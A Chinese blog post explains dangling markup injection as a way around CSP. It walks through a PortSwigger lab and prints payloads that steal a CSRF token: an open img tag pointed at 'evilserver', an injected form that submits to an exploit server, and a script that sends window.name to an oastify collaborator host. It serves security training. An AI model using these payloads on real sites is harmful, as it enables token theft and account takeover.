Featured image of post 悬空标记注入攻击(Dangling markup)绕CSP

悬空标记注入攻击(Dangling markup)绕CSP

悬空标记注入攻击(Dangling markup)绕CSP

CSP

在Firefox4中推出了CSP(Content-Security-Policy)。这一策略的做法是由服务器端返回一个HTTP头, 并在其中描述页面应该遵守的安全策略:

1
X-Content-Security-Policy: allow 'self' *.example.com

浏览器将信任来自其子域以及example.com下的内容。

或者

1
X-Content-Security-Policy: allow 'self'; img-src *; script-src www.example.com

浏览器除了信任自身的来源以外, 还可以加载任意域的图片, 来自www.example.com的脚本, 其他的则一律拒绝。

Dangling markup

Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术,它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置。当反射型XSS不工作或被内容安全策略(CSP)阻止时,它非常有用。其思想是插入一些未完成状态的部分HTML,例如图像标记的src属性,页面上的其余标记关闭该属性,但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器。

例如,我们在反射型XSS注入点,注入以下代码

1
<img src="https://evilserver/?

则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。

bp靶场练习

靶场地址:Lab: Reflected XSS protected by very strict CSP, with dangling markup attack | Web Security Academy

原本是有一个防护较弱的老靶场,但是我这边找不到了

Reflected XSS protected by very strict CSP, with dangling markup attack

靶场描述:

To solve the lab, first perform a cross-site scripting attack that bypasses the CSP and exfiltrates a simulated victim user’s CSRF token using Burp Collaborator. You then need to change the simulated user’s email address to hacker@evil-user.net.

You must label your vector with the word “Click” in order to induce the simulated user to click it. For example:

<a href="">Click me</a>

You can log in to your own account using the following credentials: wiener:peter

我们的目标是利用CSRF修改任意用户邮箱为hacker@evil-user.net

首先登入,用他给的账密wiener/peter登入账号

登入后出现一个更改邮箱的功能

image-20250810133418679

查看源码可以发现

image-20250810133914275

这里可以利用dangling markup来盗取CSRF token,这里把get参数改成email,发现可以输入自定义的内容

1
my-account?email=123"><script>alert(1)</script>

然后发现虽然拼接了,但是不会弹窗,被CSP拦截了

image-20250810134439732

这里我们尝试直接在bp的collaborator模块接收csrf token,构造payload

1
2
3
<script>
location='https://0a3400b1038b21978060129d00bc0020.web-security-academy.net/email?email=123%22%3E%3Ctable%20background=%27//vhgd4ppjyxk6pkfjbk3lbmombdh35s.burpcollaborator.net?';
</script>

然后发现不行,这题必须要在服务器给受害者发送click me的按钮诱导点击获取token

1
2
3
<script>
location='https://0a3400b1038b21978060129d00bc0020.web-security-academy.net/my-account?email=%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name=%22evil-form%22%20action=%22https://exploit-0ae4009603ec213780f711a8017500a1.exploit-server.net/log%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3E%20Click%20me%20%3C/button%3E';
</script>

然后就可以在log这里看到token

image-20250810141337515

或者用bp的collaborator模块

1
2
3
4
5
6
7
<script>
if(window.name) {
		new Image().src='//5fld6gg4i4smvecqtu69m7m6xx3orgf5.oastify.com?'+encodeURIComponent(window.name);
		} else {
     			location = 'https://0a3400b1038b21978060129d00bc0020.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0ae4009603ec213780f711a8017500a1.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>

最终拿到token值

1
bQPJMZB8vsnEaFOJ1Mw2FdpZlc4iYZkN

然后抓包拦截更新邮箱的路由,生成CSRF的payload

然后改options勾上include auto-submit script

把生成的payload的csrf token改成我们刚刚获取的,然后邮箱改成hacker@evil-user.net,然后发送就完成了

使用 Hugo 构建
主题 StackJimmy 设计